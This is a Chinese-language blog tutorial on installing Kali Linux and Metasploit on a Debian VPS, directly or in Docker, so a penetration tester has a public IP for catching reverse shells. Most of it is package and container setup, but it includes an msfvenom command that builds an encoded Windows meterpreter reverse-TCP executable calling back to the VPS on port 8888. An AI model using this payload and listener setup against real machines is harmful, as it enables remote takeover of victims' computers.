zoukankan      html  css  js  c++  java
  • 在vps上安装 kali linux

    在渗透测试过程中,很多时候我们需要反弹一个shell回来。使用empire也好,MSF也好,其他工具也好,都避不开公网IP的问题。这时候我们就需要一个VPS来进一步进行渗透测试。
    建立通道连接的方式有很多种,比如NAT映射、ssh隧道等各种方式,这里我们就不探讨了。
    建立通道的不稳定性很高,容易断开,对网络安全爱好者来说是一种莫大的折磨。而且可能由于种种原因,购买不到KVM架构的VPS,无法直接在VPS上安装kali linux等渗透测试系统。下面介绍了几种在debian系统下安装kali linux的方法。配合使用screen,或者tmux等工具非常好用
    首先我们为我们的VPS安装Debian 8
    docker
    Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
    由于docker的运行环境中需要3.8+的内核,此方法不是特别适用,可使用uname -a来检查VPS的内核版本。比如小编的VPS厂商给出的镜像,内核版本只有2.6+。如果你的内核版本低于3.8,请略过该方法,往下看。
    安装docker
    在debian 8 下安装docker
    使用
    在docker中运行kali linux
    kali linux官网中对此已有详细介绍,这里我们不在重复
    较为推荐的方法—使用脚本直接安装工具
    git地址:
    使用方法
    最原始却较为有效的解决方案—直接安装
    这是小编一直在使用的方法,之前使用脚本安装kali的时候遇到了一些奇奇怪怪的问题,由于急需,所以后期也没有再升入的去研究,这里分享出来,在以上两种方法都不能解决问题的情况下作为一个备用方法来使用
    首先我们修改源,将debian源直接换为kali的官方源
    修改/etc/apt/sources.list文件,将内容全部删除,添入以下内容:
    deb http://http.kali.org/kali kali-rolling main non-free contrib
    deb http://http.kali.org/kali kali-rolling main non-free contrib
    deb-src http://http.kali.org/kali kali-rolling main non-free contrib
    然后运行:
    apt-get update
    运行之后我们会看到,报错了!!!
    W: GPG error: http://http.kali.org kali-rolling InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY ED444FF07D8D0BF6
    这时候我们需要添加kali源的public key,对应内容,小编这里的KEYID是:ED444FF07D8D0BF6
    那么我们就允许如下命令来添加公钥
    apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6
    我们重新运行apt-get update
     
    安装数字证书
    使用apt-key list来查看下,发现有个keyring.gpg 过期了
    下载新的文件
    安装
    apt install ./kali-archive-keyring_2018.1_all.deb
    验证安装
    apt-key list
     
    安装数字证书
    wget archive.kali.org/archive-key.asc //下载签名 apt-key add archive-key.asc //安装签名
     
    apt-get update //更新包列表
     
    成功检查更新。
    接下来我们可以根据自己的选择安装所需要的副版
    例如:
    apt-get -y install kali-linux-full 将安装kali工具
    apt-get -y install kali-linux-web 将安装所有和web相关的工具
    这里小编选择安装web相关的工具
    之后有一些东西需要去选择
    大家可以根据自己的需求去安装(小编一般都是一路回车,除有些特殊情况需做选择)
    等安装完成之后,按需升级一下软件包
    apt-get update apt-get dist-upgrade
    至此,我们的kali就算是安装完成了,配合screen或tmux等工具,我们将拥有一个具有所有kali功能的VPS。提高我们的渗透效率
    tmux使用方法
     
    Kali Linux 子工具集
    kali-linux
    kali-linux元数据包是Kali Linux的一个完全简单的安装,包括各种网络服务,如Apache和SSH,Kali内核,以及许多版本控制应用程序,如git,svn等。列出了所有其他元数据包下面还包含kali-linux。
    我们官网默认下载的kali linux 2.5G左右的ISO就是指它。
    安装大小:1.5 GB
     
    kali-linux-full
    当您下载Kali Linux ISO时,您实际上是在下载安装了kali-linux-full元数据包的安装。此软件包包含您在Kali中熟悉的所有工具。
    安装大小:9.0 GB
     
    kali-linux-all
    为了保持我们的ISO尺寸合理,我们无法包含我们为Kali打包的每个工具,并且有许多工具根据硬件无法使用,例如各种GPU工具。如果要安装每个可用的Kali Linux软件包,可以安装kali-linux-all元数据包。
    安装大小:15 GB
     
    kali-linux-top10
    在Kali Linux中,我们有一个名为“十大安全工具”的子菜单。 kali-linux-top10元数据包将一举为您安装所有这些工具。
    安装大小:3.5 GB
     
    kali-linux-forensic
    如果您正在进行取证工作,则不希望分析系统包含大量不必要的工具。为了拯救,kali-linux-forensic元数据包只包含Kali中的取证工具。
    安装大小:3.1 GB
     
    kali-linux-gpu
    GPU实用程序非常强大,但需要特殊硬件才能正常运行。出于这个原因,它们不包含在默认的Kali Linux安装中,但您可以使用kali-linux-gpu一次性安装它们并开始破解。
    安装大小:4.8 GB
     
    kali-linux-pwtools
    kali-linux-pwtools元数据包包含40多种不同的密码破解实用程序以及kali-linux-gpu中包含的GPU工具。
    安装大小:6.0 GB
     
    kali-linux-rfid
    对于正在进行RFID研究和开发的用户,我们有kali-linux-rfid元数据包,其中包含Kali Linux中提供的所有RFID工具。
    安装大小:1.5 GB
     
    kali-linux-sdr
    kali-linux-sdr元数据包包含大量适用于您的软件定义无线电黑客需求的工具。
    安装大小:2.4 GB
     
    kali-linux-voip
    很多人告诉我们他们使用Kali Linux进行VoIP测试和研究,所以他们很高兴知道我们现在有一个专用的kali-linux-voip元数据包,有20多个工具。
    安装大小:1.8 GB
     
    kali-linux-web
    Web应用程序评估在渗透测试领域非常普遍,因此,Kali包含kali-linux-web元数据包,其中包含许多与Web应用程序黑客相关的工具。
    安装大小:4.9 GB
     
    kali-linux-wireless
    与Web应用程序一样,许多渗透测试评估都针对无线网络。 kali-linux-wireless元数据包包含一个易于安装的软件包中所需的所有工具。
    安装大小:6.6 GB
     
     
    docker 中安装kali
    0x02 安装docker
    sudo apt-get install docker.io
    0x03 安装kali及metasploit
    下载kali镜像
    docker pull kalilinux/kali-linux-docker
    可以通过docker images命令查看你下载好的镜像。
    这里kalilinux就是通过上一个命令下载好的,ID是你的镜像ID。msf镜像是我下面安装了metasploit后自己保存的镜像。这里不用管它
    root@vultr:~# docker images
     
    下载完成的kali是没有metasploit的,是一个基础版。所以先把kali的镜像挂载到容器里,运行kali。然后直接apt-get下载即可。
    docker run -t -i kalilinux/kali-linux-docker /bin/bash //用镜像创建一个容器
     
    然后它会立即创建并进入到这个容器中,也就是进入到kali中。
    大概是这样的那一串字符串事你的这个容器ID
    root@ce3df32899e1:/#
    如果它提示这样的报错内容
    1. System error: mountpoint for devices not found;
    2. Couldn't run auplink before unmount: exec: "auplink": executable file not found in $PATH;
    请执行apt install aufs-tools cgroup-lite,然后在运行上个命令创建容器。
    0x04 安装metasploit
    apt-get update && apt-get upgrade
    apt-get install metasploit-framework
    等安装完成后就可以进入metasploit了
    msfconsole -L
     
    然后exit退出msf退出kali,将这个容器保存为一个镜像。
    docker ps -a 查看容器ID
    1. root@vultr:~# docker ps -a
    2. CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
    3. ce3df32899e1 msf:latest "/bin/bash" 6 hours ago Up 18 minutes 0.0.0.0:8888->8888/tcp agitated_tesla
    4. e56943810487 kalilinux/kali-linux-docker:latest "/bin/bash" 6 hours ago Exited (0) 4 hours ago kickass_darwin
    5. root@vultr:~#
    docker commit e56943810487 msf将kali这个容器保存为一个镜像。
    docker run -t -p 8888:8888 -i msf /bin/bash 将vps的8888端口与容器的8888端口映射上,方便反弹shell。端口自己随意设置。
    这时候就可以愉快的使用公网ip玩metasploit了。
    0x05 msf使用
    做个简单示范
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=[vps公网ip] LPORT=8888 -f exe > a.exe
     
    成功反弹shell
    0x06 docker的常用命令
    1. docker run -t -i <image> 用镜像创建一个容器
    2. docker pull image 拉拽镜像
    3. docker images 查看可用镜像
    4. docker ps 查看运行的容器
    5. docker ps -a 查看所有的容器
    6. docker stop <container id> 停止该容器
    7. docker start <container id> 开始该容器
    8. docker attach <container id>与该容器交互
    9. docker commit <container id> <new id>创建新的镜像
    10. docker rm <container id> 删除容器
    11. docker rmi <image name> 删除镜像
    12. docker cp <containerId>:/file/path/within/container /host/path/target 从Docker容器内拷贝文件到主机上
     
     
     
    debian8 换源直接安装metasploit
     
    安装postgresql数据库
     
    root@localhost:~# apt-get install postgresql
    root@localhost:~# su - postgres -c "psql" #切换到postgres用户并登陆数据库
    ##有的教程中使sudo -u postgres psql也是可以的
    postgres=# alter user postgres with password ‘postgrespass‘; #修改数据库密码为postgrespass
    postgres=# q #退出数据库
     
    安装metasploit
     
    root@localhost:~# apt-get install metasploit-framework
    # 这里会装一大堆东西,而且会更新libc之类软件,如果你的系统还装有其它软件,请谨慎安装
     
    配置metasploit
     
    root@localhost:~# msfconsole
    msf > db_connect postgres:postgrespass@127.0.0.1/msfbook #使msf连接到postgresql数据库
    [*] Rebuilding the module cache in the background... #这句话的意思是在后台重建模块缓存。
    msf > db_status #查看数据库连接状态
    [*] postgresql connected to msfbook #这个时候就可以正常使用msf了。
     
    msf > search smb
    [!] Module database cache not built yet, using slow search
    ##如果出现了这个信息,意思是说数据库中没有模块的缓存,使用缓慢的搜索(直接搜索磁盘)。
    ##出现这个情况有可能是后台重建缓存未完成,只需稍等片刻再尝试,也可能是数据库连接不正常,
    ##导致无法重建/读取缓存。
  • 相关阅读:
    [转贴] 2016一月12日起.NET 4, 4.5 and 4.5.1 停止安全更新、技术支持 or hotfix
    Windows Azure 入门 -- VS 2015部署 ASP.NET网站(项目) 与 数据库
    [职场]工作多久才能换工作?下一个工作年薪该多高?
    [转贴] ASP.NET -- Web Service (.asmx) & JSON
    ADO.NET #3-1 (GridView + DataReader + SqlCommand)完全手写Code Behind
    File 与 Log #3--动态加入控件,[图片版]访客计数器(用.txt档案来记录)
    小图示优化
    GridView的 PreRender事件与范例--GridView + CheckBox,点选多列资料(复选删除)
    [习题] FindControl 简单练习--GridView + CheckBox,点选多列数据(复选删除)#3 List或数组
    GridView的 PreRender事件与 RowCreated、RowDataBound事件大乱斗
  • 原文地址:https://www.cnblogs.com/micr067/p/11396173.html
Copyright © 2011-2022 走看看